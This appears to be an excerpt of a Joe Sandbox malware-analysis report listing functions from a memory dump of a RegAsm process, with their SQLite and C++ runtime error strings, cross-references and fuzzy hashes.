Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 1b53f329b52dfec74b232a62b70d2821635a6d7aba1c41acb82d1b40c074f8c6
Instruction ID: 78bde2d9bd8de74b6dd0acee8089c18f80809f7d825feaf2f8efe8ac20def04b
Opcode Fuzzy Hash: 1b53f329b52dfec74b232a62b70d2821635a6d7aba1c41acb82d1b40c074f8c6
Instruction Fuzzy Hash: 6A7136716043466FD300CF29DD80AAABBE4FF40615F44856EF998C7651E364FA68CBB2

Function 1FEF0970 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 207COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEF0AA0, 1FEF0B82
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEF0A91, 1FEF0B73
database corruption, xrefs: 1FEF0A9B, 1FEF0B7D

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: 78eb7673836cc1cafc34e68f5fef24679ec440853bd6c1f410a61b380e158939
Instruction ID: d9d4acfcdc2724c72226f8550fc1b53722bae1ab8e9cdb6886b82c686aa773b3
Opcode Fuzzy Hash: 78eb7673836cc1cafc34e68f5fef24679ec440853bd6c1f410a61b380e158939
Instruction Fuzzy Hash: 9361C2B67043018FDB14DF18D880E5A7BE0FB88718F4645A9EE4E9B352E771E944CBA1

Function 1FFBABF0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 204COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FFBAE1D
misuse, xrefs: 1FFBAE18
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFBAE0E
unable to delete/modify user-function due to active statements, xrefs: 1FFBAD61

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$unable to delete/modify user-function due to active statements
API String ID: 0-3864549341
Opcode ID: 77494f0f0b19c885ef4dfeefc77f36ca350941f59016c7362ebbd2a3e468689d
Instruction ID: 2f2301d28e0e210e8b4b89ec0a598273f0fb400a27dca294f56d3622c819ef38
Opcode Fuzzy Hash: 77494f0f0b19c885ef4dfeefc77f36ca350941f59016c7362ebbd2a3e468689d
Instruction Fuzzy Hash: F6510672604301AFD7109E26DC80F6FB7F4FF89316F04492DF98696251E3B2E9198B62

Function 1FEBA230 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 201COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEBA46E, 1FEBA4AC
misuse, xrefs: 1FEBA469, 1FEBA4A7
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEBA45F, 1FEBA49D

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: c00e61ceea488f16aa2b6f1a1aafbfa748ea1d0f00a299d4d09e6ba24c38a951
Instruction ID: e49fa11b595a5e262a91b5c448d5016f2c86d574a1f71456f4d8631ae7f47fee
Opcode Fuzzy Hash: c00e61ceea488f16aa2b6f1a1aafbfa748ea1d0f00a299d4d09e6ba24c38a951
Instruction Fuzzy Hash: 4F71F371604781AFEB10DF24C884BAFBBE4AF85709F04842CE9598B242F775F955C7A2

Function 1FECA860 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 180COMMON

Download Yara Rule

Strings

stmt-pointer, xrefs: 1FECA928
tables_used, xrefs: 1FECA973, 1FECA97B
bytecode, xrefs: 1FECA96E
argument to %s() is not a valid SQL statement, xrefs: 1FECA97C

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: argument to %s() is not a valid SQL statement$bytecode$stmt-pointer$tables_used
API String ID: 0-361449301
Opcode ID: 5f1a9601dc60b39219847ab0ddf8fd76d91a1e7e3d9cdc16117ed47ae3038261
Instruction ID: 062dd8fed92d53a76d7cad7fc090fef3c58f4580007f93bb2a7287cb6d5f74c9
Opcode Fuzzy Hash: 5f1a9601dc60b39219847ab0ddf8fd76d91a1e7e3d9cdc16117ed47ae3038261
Instruction Fuzzy Hash: B361F3725047419FE7108F24EA9A79677F4EF04708F010A2DF996CB262EB7AF548CB91

Function 1FEB2AF4 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,200F94C2,00000104), ref: 200AEFDB

Strings

Microsoft Visual C++ Runtime Library, xrefs: 200AF070
<program name unknown>, xrefs: 200AEFEA
Runtime Error!Program: , xrefs: 200AEFA7
..., xrefs: 200AF029

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 514040917-4022980321
Opcode ID: f89fef033ced4a79d012ee5f75b4e2e718fb55682e655cbbed7fb94e6310c730
Instruction ID: 2e698ab1e466de7454a55bfb3aa371f9227528dbe8ec66aac7bb19c4a8826ae9
Opcode Fuzzy Hash: f89fef033ced4a79d012ee5f75b4e2e718fb55682e655cbbed7fb94e6310c730
Instruction Fuzzy Hash: EC21F5379006057AF73296E18C88EAB37EC9FA5398B040539FF0CA6156FA15EF15D291

Function 1FFDBF00 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 156COMMON

Download Yara Rule

Strings

fts5: %s queries are not supported (detail!=full), xrefs: 1FFDC043
fts5 expression tree is too large (maximum depth %d), xrefs: 1FFDC070
phrase, xrefs: 1FFDC035, 1FFDC042
NEAR, xrefs: 1FFDC03A

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: NEAR$fts5 expression tree is too large (maximum depth %d)$fts5: %s queries are not supported (detail!=full)$phrase
API String ID: 0-593389478
Opcode ID: c61e180501d4a6b61bb58ed2b01f60ad7cdf1af819d1103699414a54fcdf5ea2
Instruction ID: bf52c08b57e6fb24e2f670f19cc466240ff3947b56c2537cbb1dfd091579e576
Opcode Fuzzy Hash: c61e180501d4a6b61bb58ed2b01f60ad7cdf1af819d1103699414a54fcdf5ea2
Instruction Fuzzy Hash: 7841FF36A0070A9FD7148FA4C880B5AB3A4FF84314F1C456EFA458B210E7F6F845CBA1

Function 1FEE23D0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 150COMMON

Download Yara Rule

Strings

main, xrefs: 1FEE2491
no such database: %s, xrefs: 1FEE24B4
database %s is locked, xrefs: 1FEE2541
cannot detach database %s, xrefs: 1FEE24C3, 1FEE2547

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: cannot detach database %s$database %s is locked$main$no such database: %s
API String ID: 0-3838832555
Opcode ID: c8045a320f33e347d5eb896d72f1821fc15cc1208342a6629cd400c7d8e839a6
Instruction ID: f973b0582af3c24caafbc3eb0184bcea47ea9f81aa43c81701d223d89cb5f60c
Opcode Fuzzy Hash: c8045a320f33e347d5eb896d72f1821fc15cc1208342a6629cd400c7d8e839a6
Instruction Fuzzy Hash: C951C1B1E043019FE714CF15E890F5AB7E5BF84318F11865DE8598B392EB35E849CBA2

Function 1FEFF490 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 143COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FEFF4BF
misuse, xrefs: 1FEFF4BA
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FEFF4B0
unable to delete/modify collation sequence due to active statements, xrefs: 1FEFF533

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 0-3348720253
Opcode ID: 719f281666fdb32f91404a3ea56478da31232c670316a0dbf8f406eae1948640
Instruction ID: 1ad0a5aac35ff0a3a8e0c87047e7c2282cfa91463e66f615f482433b28bc17f1
Opcode Fuzzy Hash: 719f281666fdb32f91404a3ea56478da31232c670316a0dbf8f406eae1948640
Instruction Fuzzy Hash: 05413C726043819FD7108F28EC80BAAF7E4EF81319F14466EF5549B282E372F516C7A1

Function 1FEE4C00 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 143COMMON

Download Yara Rule

Strings

invalid arguments to fts4aux constructor, xrefs: 1FEE4C9E
temp, xrefs: 1FEE4C3E
CREATE TABLE x(term, col, documents, occurrences, languageid HIDDEN), xrefs: 1FEE4CCB

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: CREATE TABLE x(term, col, documents, occurrences, languageid HIDDEN)$invalid arguments to fts4aux constructor$temp
API String ID: 0-537686372
Opcode ID: 5f97cee1ade617c0701ca3ff0bacc546501066f6c73553e6ecb47700e7e1e6bc
Instruction ID: 07814eaad56dd9c66c0ad82eafee817b6a69ab7db1599a7727693907f05631a1
Opcode Fuzzy Hash: 5f97cee1ade617c0701ca3ff0bacc546501066f6c73553e6ecb47700e7e1e6bc
Instruction Fuzzy Hash: 7041367A1003559FD7118F58E890AA67BE1EF85329F1584AEEDD98F303D632F902CB61

Function 1FECC2B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

%!.*f, xrefs: 1FECC3AE

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %!.*f
API String ID: 0-786758813
Opcode ID: 2932cf59e6233d7a36b6d5836e79f8ea989991b629e950b024a12a58cd12735b
Instruction ID: 3c299907259ff68880967a7f6870873f40da2ceaece928f9a2c4e246d48ac3df
Opcode Fuzzy Hash: 2932cf59e6233d7a36b6d5836e79f8ea989991b629e950b024a12a58cd12735b
Instruction Fuzzy Hash: 24314D35C04F9146D302DE3CD91269B7790AF82399F0483A9FC852A112EB35A8A6C3D2

Function 1FF8EBD0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF8EC51
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF8EC42
CREATE , xrefs: 1FF8EBFF
database corruption, xrefs: 1FF8EC4C

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$CREATE $database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-1360532505
Opcode ID: 3648ab3318afff0c2c2b13e299f6b863ba2722c45d37d2e7677c34dcc1b12e50
Instruction ID: e0e8d9b148db83a37f239203b0c352ca8d19eefd34e1bd903d127b5264a16fde
Opcode Fuzzy Hash: 3648ab3318afff0c2c2b13e299f6b863ba2722c45d37d2e7677c34dcc1b12e50
Instruction Fuzzy Hash: 51314CB6D083C25DE7210EA9DC40BD67F91AF4321AF1400BBF9D58E243E7A6A580C731

Function 1FEE7050 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 98COMMON

Download Yara Rule

Strings

API call with %s database connection pointer, xrefs: 1FEE7074
bad parameter or other API misuse, xrefs: 1FEE7083
out of memory, xrefs: 1FEE7059, 1FEE70A2
invalid, xrefs: 1FEE706F

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: API call with %s database connection pointer$bad parameter or other API misuse$invalid$out of memory
API String ID: 0-453588374
Opcode ID: 3e9443bfc9fc140cd6c0eb3c53d811381f89835b3375996455d000723af07c51
Instruction ID: 0acc42fa8a3436f5d01824f31b359d4f03b27cbc4f1acb528136af55feca6663
Opcode Fuzzy Hash: 3e9443bfc9fc140cd6c0eb3c53d811381f89835b3375996455d000723af07c51
Instruction Fuzzy Hash: AA3148B198474197FB244664BC4AB9B3357AB8030DF2A402AE875DB347E63AF9478391

Function 1FF693A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 93COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF69455, 1FF69499
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF69446, 1FF6948A
database corruption, xrefs: 1FF69450, 1FF69494

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: d575b8889769c38e1a13a1788d2d883dd4001b0fe6a2a5f4bd6816e66232d141
Instruction ID: 4026c641ee0113de18c0dc6b8d879a813ba77cb8ce5c7ec406e4586c6bdb3cc9
Opcode Fuzzy Hash: d575b8889769c38e1a13a1788d2d883dd4001b0fe6a2a5f4bd6816e66232d141
